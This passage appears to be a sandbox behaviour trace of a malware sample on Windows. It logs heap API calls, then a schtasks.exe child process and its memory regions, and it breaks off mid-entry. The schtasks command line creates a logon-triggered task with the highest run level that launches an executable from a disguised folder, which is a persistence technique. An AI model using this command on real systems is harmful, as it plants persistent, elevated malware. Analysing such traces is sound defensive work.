HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba70 | out: hHeap=0x230000) returned 1 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245c80) returned 1 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245c80) returned 0x20 [0157.615] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245c80 | out: hHeap=0x230000) returned 1 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d2a0) returned 1 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d2a0) returned 0x200 [0157.616] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d2a0 | out: hHeap=0x230000) returned 1 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24bab0) returned 1 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bab0) returned 0x18 [0157.616] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24bab0 | out: hHeap=0x230000) returned 1 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245bf0) returned 1 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245bf0) returned 0x20 [0157.616] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245bf0 | out: hHeap=0x230000) returned 1 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] GetProcessHeap () returned 0x230000 [0157.616] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c220) returned 1 [0157.616] GetProcessHeap () returned 0x230000 [0157.617] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c220) returned 0x14 [0157.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c220 | out: hHeap=0x230000) returned 1 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c200) returned 1 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c200) returned 0x18 [0157.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c200 | out: hHeap=0x230000) returned 1 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b30) returned 1 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b30) returned 0x20 [0157.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b30 | out: hHeap=0x230000) returned 1 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c240) returned 1 [0157.617] GetProcessHeap () returned 0x230000 [0157.617] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c240) returned 0x16 [0157.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c240 | out: hHeap=0x230000) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1c0) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c1c0) returned 0x18 [0157.618] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1c0 | out: hHeap=0x230000) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b00) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b00) returned 0x20 [0157.618] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b00 | out: hHeap=0x230000) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9f0) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9f0) returned 0x2 [0157.618] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9f0 | out: hHeap=0x230000) returned 1 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] GetProcessHeap () returned 0x230000 [0157.618] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245950) returned 1 [0157.619] GetProcessHeap () returned 0x230000 [0157.619] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245950) returned 0x20 [0157.619] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245950 | out: hHeap=0x230000) returned 1 [0157.619] GetProcessHeap () returned 0x230000 [0157.619] GetProcessHeap () returned 0x230000 [0157.619] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245980) returned 1 [0157.619] GetProcessHeap () returned 0x230000 [0157.619] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245980) returned 0x20 [0157.619] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245980 | out: hHeap=0x230000) returned 1 [0157.619] GetProcessHeap () returned 0x230000 [0157.619] GetProcessHeap () returned 0x230000 [0157.619] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2459b0) returned 1 [0157.619] GetProcessHeap () returned 0x230000 [0157.620] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2459b0) returned 0x20 [0157.620] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2459b0 | out: hHeap=0x230000) returned 1 [0157.620] GetProcessHeap () returned 0x230000 [0157.620] GetProcessHeap () returned 0x230000 [0157.620] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2459e0) returned 1 [0157.620] GetProcessHeap () returned 0x230000 [0157.620] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2459e0) returned 0x20 [0157.620] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2459e0 | out: hHeap=0x230000) returned 1 [0157.620] GetProcessHeap () returned 0x230000 [0157.620] GetProcessHeap () returned 0x230000 [0157.620] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb60) returned 1 [0157.620] GetProcessHeap () returned 0x230000 [0157.620] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb60) returned 0x20 [0157.621] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb60 | out: hHeap=0x230000) returned 1 [0157.621] GetProcessHeap () returned 0x230000 [0157.621] GetProcessHeap () returned 0x230000 [0157.621] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d680) returned 1 [0157.621] GetProcessHeap () returned 0x230000 [0157.621] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d680) returned 0xe [0157.621] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d680 | out: hHeap=0x230000) returned 1 [0157.621] GetProcessHeap () returned 0x230000 [0157.621] GetProcessHeap () returned 0x230000 [0157.621] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb90) returned 1 [0157.621] GetProcessHeap () returned 0x230000 [0157.621] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb90) returned 0x20 [0157.621] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb90 | out: hHeap=0x230000) returned 1 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x247a70) returned 1 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x247a70) returned 0x30 [0157.622] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247a70 | out: hHeap=0x230000) returned 1 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbc0) returned 1 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cbc0) returned 0x20 [0157.622] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbc0 | out: hHeap=0x230000) returned 1 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] GetProcessHeap () returned 0x230000 [0157.622] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x247ab0) returned 1 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x247ab0) returned 0x30 [0157.623] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247ab0 | out: hHeap=0x230000) returned 1 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd70) returned 1 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd70) returned 0x20 [0157.623] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd70 | out: hHeap=0x230000) returned 1 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5a0) returned 1 [0157.623] GetProcessHeap () returned 0x230000 [0157.623] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5a0) returned 0xe [0157.623] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5a0 | out: hHeap=0x230000) returned 1 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd40) returned 1 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd40) returned 0x20 [0157.624] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd40 | out: hHeap=0x230000) returned 1 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5c0) returned 1 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5c0) returned 0x16 [0157.624] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5c0 | out: hHeap=0x230000) returned 1 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd10) returned 1 [0157.624] GetProcessHeap () returned 0x230000 [0157.624] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd10) returned 0x20 [0157.625] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd10 | out: hHeap=0x230000) returned 1 [0157.625] GetProcessHeap () returned 0x230000 [0157.625] GetProcessHeap () returned 0x230000 [0157.625] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5e0) returned 1 [0157.625] GetProcessHeap () returned 0x230000 [0157.625] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5e0) returned 0x16 [0157.625] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5e0 | out: hHeap=0x230000) returned 1 [0157.625] GetProcessHeap () returned 0x230000 [0157.625] GetProcessHeap () returned 0x230000 [0157.625] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cce0) returned 1 [0157.625] GetProcessHeap () returned 0x230000 [0157.625] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cce0) returned 0x20 [0157.626] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cce0 | out: hHeap=0x230000) returned 1 [0157.626] GetProcessHeap () returned 0x230000 [0157.626] GetProcessHeap () returned 0x230000 [0157.626] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269b20) returned 1 [0157.626] GetProcessHeap () returned 0x230000 [0157.626] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x269b20) returned 0x82 [0157.626] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269b20 | out: hHeap=0x230000) returned 1 [0157.626] GetProcessHeap () returned 0x230000 [0157.626] GetProcessHeap () returned 0x230000 [0157.626] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccb0) returned 1 [0157.626] GetProcessHeap () returned 0x230000 [0157.626] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ccb0) returned 0x20 [0157.627] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccb0 | out: hHeap=0x230000) returned 1 [0157.627] GetProcessHeap () returned 0x230000 [0157.627] GetProcessHeap () returned 0x230000 [0157.627] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d620) returned 1 [0157.627] GetProcessHeap () returned 0x230000 [0157.627] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d620) returned 0xe [0157.627] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d620 | out: hHeap=0x230000) returned 1 [0157.627] GetProcessHeap () returned 0x230000 [0157.627] GetProcessHeap () returned 0x230000 [0157.627] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc80) returned 1 [0157.627] GetProcessHeap () returned 0x230000 [0157.627] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc80) returned 0x20 [0157.627] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc80 | out: hHeap=0x230000) returned 1 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d640) returned 1 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d640) returned 0xa [0157.628] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d640 | out: hHeap=0x230000) returned 1 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc50) returned 1 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc50) returned 0x20 [0157.628] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc50 | out: hHeap=0x230000) returned 1 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d660) returned 1 [0157.628] GetProcessHeap () returned 0x230000 [0157.628] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d660) returned 0xc [0157.629] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d660 | out: hHeap=0x230000) returned 1 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc20) returned 1 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc20) returned 0x20 [0157.629] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc20 | out: hHeap=0x230000) returned 1 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba10) returned 1 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba10) returned 0x18 [0157.629] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba10 | out: hHeap=0x230000) returned 1 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245a10) returned 1 [0157.629] GetProcessHeap () returned 0x230000 [0157.629] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245a10) returned 0x20 [0157.630] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245a10 | out: hHeap=0x230000) returned 1 [0157.630] GetProcessHeap () returned 0x230000 [0157.630] GetProcessHeap () returned 0x230000 [0157.630] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245a40) returned 1 [0157.630] GetProcessHeap () returned 0x230000 [0157.630] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245a40) returned 0x20 [0157.630] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245a40 | out: hHeap=0x230000) returned 1 [0157.630] GetProcessHeap () returned 0x230000 [0157.630] GetProcessHeap () returned 0x230000 [0157.630] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245a70) returned 1 [0157.630] GetProcessHeap () returned 0x230000 [0157.630] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245a70) returned 0x20 [0157.631] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245a70 | out: hHeap=0x230000) returned 1 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245aa0) returned 1 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245aa0) returned 0x20 [0157.631] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245aa0 | out: hHeap=0x230000) returned 1 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba30) returned 1 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba30) returned 0x18 [0157.631] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba30 | out: hHeap=0x230000) returned 1 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245ad0) returned 1 [0157.631] GetProcessHeap () returned 0x230000 [0157.631] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245ad0) returned 0x20 [0157.632] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245ad0 | out: hHeap=0x230000) returned 1 [0157.632] GetProcessHeap () returned 0x230000 [0157.632] GetProcessHeap () returned 0x230000 [0157.632] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b60) returned 1 [0157.632] GetProcessHeap () returned 0x230000 [0157.632] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b60) returned 0x20 [0157.632] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b60 | out: hHeap=0x230000) returned 1 [0157.632] GetProcessHeap () returned 0x230000 [0157.632] GetProcessHeap () returned 0x230000 [0157.632] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245bc0) returned 1 [0157.632] GetProcessHeap () returned 0x230000 [0157.632] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245bc0) returned 0x20 [0157.632] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245bc0 | out: hHeap=0x230000) returned 1 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245c20) returned 1 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245c20) returned 0x20 [0157.633] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245c20 | out: hHeap=0x230000) returned 1 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245c50) returned 1 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245c50) returned 0x20 [0157.633] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245c50 | out: hHeap=0x230000) returned 1 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba50) returned 1 [0157.633] GetProcessHeap () returned 0x230000 [0157.633] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba50) returned 0x18 [0157.634] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba50 | out: hHeap=0x230000) returned 1 [0157.634] GetProcessHeap () returned 0x230000 [0157.634] GetProcessHeap () returned 0x230000 [0157.634] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b90) returned 1 [0157.634] GetProcessHeap () returned 0x230000 [0157.634] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b90) returned 0x20 [0157.634] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b90 | out: hHeap=0x230000) returned 1 [0157.634] GetProcessHeap () returned 0x230000 [0157.634] GetProcessHeap () returned 0x230000 [0157.634] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9d0) returned 1 [0157.634] GetProcessHeap () returned 0x230000 [0157.634] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9d0) returned 0x18 [0157.634] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9d0 | out: hHeap=0x230000) returned 1 [0157.634] exit (_Code=0) Thread: id = 199 os_tid = 0xd30 Process: id = "54" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40d20000" os_pid = "0xb5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4122 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4123 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4124 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4125 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4126 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4127 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4129 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4130 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4131 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4132 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4133 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4134 start_va = 0x140000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4135 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4136 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4137 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4138 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4139 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4140 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4141 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4142 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4143 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4144 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4145 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = 